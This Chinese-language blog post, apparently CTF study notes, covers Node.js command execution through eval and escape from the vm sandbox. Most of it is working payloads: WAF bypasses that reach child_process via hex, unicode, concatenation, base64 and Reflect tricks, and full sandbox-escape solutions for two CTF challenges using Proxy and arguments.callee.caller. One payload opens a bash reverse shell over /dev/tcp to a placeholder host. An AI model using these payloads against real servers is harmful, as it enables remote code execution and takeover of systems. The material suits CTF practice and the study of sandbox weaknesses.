Node.js之沙盒专题

Node.js一直是薄弱项,今天特意整理一下,基本上是各个大佬写的大杂烩,仅用于学习记录~~~

1. child_process

首先介绍一下nodejs中用来执行系统命令的模块child_process。Nodejs通过使用child_process模块来生成多个子进程来处理其他事物。在child_process中有七个方法它们分别为:execFileSync、spawnSync,execSync、fork、exec、execFile、以及spawn,而这些方法使用到的都是spawn()方法。因为fork是运行另外一个子进程文件,这里列一下除fork外其他函数的用法。

python 复制代码
require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

不同的函数其实底层具体就是调用spawn

2.模块利用----Eval

知道了模块使用可以执行命令,那怎么样触发模块呢?

构造这么一个服务端来使用复现

js 复制代码
const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
    code = req.body.code;
    console.log(code);
    res.send(eval(code));
})

app.listen(3000)

难度一 原始模型

python 复制代码
#传参
require("child_process").execSync("curl 127.0.0.1:1234")
#是能够正常执行的。

这是最为简便的,如果升级过滤exec呢

难度二 字符伪装

改为这样

python 复制代码
const express = require('express')
const bodyParser = require('body-parser')
const app = express()

function validcode(input) {
  var re = new RegExp("exec");
  return re.test(input);
}

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
  code = req.body.code;
  console.log(code);
  if (validcode(code)) {
    res.send("forbidden!")
  } else {
    res.send(eval(code));
  }
})

app.listen(3000)

当我再用原来的就会显示forbidden,这种该如何绕过?

方法一: 16进制编码

原因是在nodejs中,如果在字符串内用16进制,和这个16进制对应的ascii码的字符是等价的(第一反应有点像mysql)。

js 复制代码
console.log("a"==="\x61");
// true

但是在上面正则匹配的时候,16进制却不会转化成字符,所以就可以绕过正则的校验。所以可以传

require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")
经过本地测试发现只有在()或者[]以内的才能进行这样的字符绕过

方法二: unicode编码

思路跟上面是类似的,由于JavaScript允许直接用码点表示Unicode字符,写法是"反斜杠+u+码点",所以我们也可以用一个字符的unicode形式来代替对应字符。

js 复制代码
console.log("\u0061"==="a");
// true
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")
方法三 加号拼接

原理很简单,加号在js中可以用来连接字符,所以可以这样

js 复制代码
require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')

加号必须url编码,否则无效

方法四 模板字符串(用的很多)

相关内容可以参考MDN,这里给出一个payload

模板字面量是允许嵌入表达式的字符串字面量。你可以使用多行字符串和字符串插值功能。

python 复制代码
require('child_process')[`\${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')
方法五 concat连接

利用js中的concat函数连接字符串

js 复制代码
require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")
方法六 base64编码

这种应该是比较常规的思路了。

js 复制代码
eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

这个的不同就是eval里面再套了eval进行先执行base解码

js内置语法绕过

前面的都是符号里面的字符进行过滤,如果现在要绕过的例如eval函数这种不被单双引号包含的参数怎么做?

Reflect

在js中,需要使用Reflect这个关键字来实现反射调用函数的方式。

譬如要得到eval函数,可以首先通过

js 复制代码
console.log(Reflect.ownKeys(global))
//返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//拿到eval

即可得到eval

拿到eval之后,就可以常规思路rce了

这里貌似还有一个require的绕过代替

js 复制代码
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')

这里还有个小trick,如果过滤了eval关键字,可以用includes('eva')来搜索eval函数,也可以用startswith('eva')来搜索

Obejct.keys

实际上通过require导入的模块是一个Object,所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法,再通过数组下标就可以拿到execSync

js 复制代码
console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')
[]绕过

获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕

Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值,类似于target[name]。

所以取eval函数的方式可以变成

js 复制代码
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

后面拼接上命令执行的payload即可。

例题:

如果waf是这样

js 复制代码
var validCode = function (func_code){
  let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
  return !validInput.test(func_code);
};

先写出原型,最好是用特定字符最少的base64编码

这里单引号可以用反引号代替

js 复制代码
eval(Buffer.from(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())

特意去尝试了发现基本的都能这么代替。

这里过滤了base64,可以直接换成

js 复制代码
`base`.concat(64)

过滤掉了Buffer,可以换成

js 复制代码
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))

要拿到Buffer.from方法,可以通过下标

js 复制代码
Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]

但问题在于,关键字还过滤了中括号,这一点简单,再加一层Reflect.get

js 复制代码
Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)

payload

js 复制代码
Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()

但问题在于,这样传过去后,eval只会进行解码,而不是执行解码后的内容,所以需要再套一层eval,因为过滤了eval关键字,同样考虑用反射获取到eval函数。

js 复制代码
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())

当然,由于前面提到的16进制和字符串的特性,也可以拿到eval后直接传16进制字符串

js 复制代码
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(`\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29`)

3.沙盒逃逸

经过这些大概有了相对了解,但这只是Node.js的模块执行,关于沙盒逃逸到底是怎么回事。
比较清楚的沙盒概念

例题一

[0xGame 2023]week2 ez_sandbox

js 复制代码
function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}
app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

可以看出有一个原型污染role为admin进行。再看关键部分

js 复制代码
let code = req.body.code
        let sandbox = Object.create(null) //此时this为null,所以得利用arguments.callee.caller
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)//沙盒运行
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }

在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message

属性 (即 e.message)

通过 JavaScript 的 Proxy 类或对象的__defineGetter__方法来设置一个 getter

使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数

同时发现沙箱外没有执行字符串的相关操作,也没有可以用来进行恶意重写的函数,所以需要用Proxy来劫持属性

js 复制代码
原payload

 throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截
 	get: function(){  // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数
 		const c = arguments.callee.caller;
 		const p = (c.constructor.constructor('return process'))();
 		return p.mainModule.require('child_process').execSync('whoami').toString();
	}
})

关于c变量的构造

或者

js 复制代码
let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数
obj.__defineGetter__('message', function(){
	const c = arguments.callee.caller
	const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
	return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat/flag').toString();
})
throw obj

例题二:

[NKCTF]全世界最简单的CTF

源码

js 复制代码
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
 
app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))
 
app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})
 
 
function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}
 
app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})
 
app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})
 
 
app.listen(3000, ()=>{
    console.log("listen on 3000");
})

沙盒

js 复制代码
  let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }

常规思路:发现Object.create(null)

想到了cc用arguments.callee.caller

先写出原型

js 复制代码
 throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截
 	get: function(){  // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数
 		const c = arguments.callee.caller;
 		const p = (c.constructor.constructor('return process'))();
 		return p.mainModule.require('child_process').execSync('whoami').toString();
	}
})

找到waf

js 复制代码
   let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;

发现我们需要绕过

process绕过

方法一

js 复制代码
return process==String.fromCharCode(114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115)

方法二

发现他正则匹配没有i 对大小写不敏感 我们可以通过js里面的 toLowerCase()绕过

js 复制代码
return process=='return Process'.toLowerCase();
exec绕过

上面介绍过用reflect映射方法绕过

js 复制代码
Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))

这里a变量要定义先,a就是function,function又由外部作用域的proto来获得

所以

js 复制代码
throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller; //外部作用域
            const p = (cc.constructor.constructor('return global'))(); //function函数
            const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
            return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");//因为没有[],用reflect来进行拼接
        }
    })

上面这种是根据过滤的强行绕过,比较复杂,还有另外的解
方法二

找到最简单的一种
方法三

js 复制代码
throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
            const obj = p.mainModule.require('child_procBess'.replace('B',''));
            const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
            return ex.value('whoami').toString();
        }
    })

预期解

Node.js的绕过还是很多样,但实际运用复杂程度很高,大佬的绕过姿势太多了...

后面由例题会一一归纳(仅用于记录学习)

相关推荐
一个很帅的帅哥2 小时前
实现浏览器的下拉加载功能(类似知乎)
开发语言·javascript·mysql·mongodb·node.js·vue·express
Bang邦5 小时前
使用nvm管理Node.js多版本
前端·node.js·node多版本管理
新知图书6 小时前
Node.js快速入门
node.js
FakeOccupational7 小时前
nodejs 007:错误npm error Error: EPERM: operation not permitted, symlink
前端·npm·node.js
亦舒.7 小时前
JSDelivr & NPM CDN 国内加速节点
前端·npm·node.js
代码搬运媛7 小时前
code eintegrity npm err sha512
前端·npm·node.js
猿来如此呀11 小时前
运行npm install 时,卡在sill idealTree buildDeps没有反应
前端·npm·node.js
八了个戒14 小时前
Koa (下一代web框架) 【Node.js进阶】
前端·node.js
谢尔登1 天前
【Node.js】RabbitMQ 不同交换器类型的使用
node.js·rabbitmq·ruby
weixin_441018351 天前
webpack的热更新原理
前端·webpack·node.js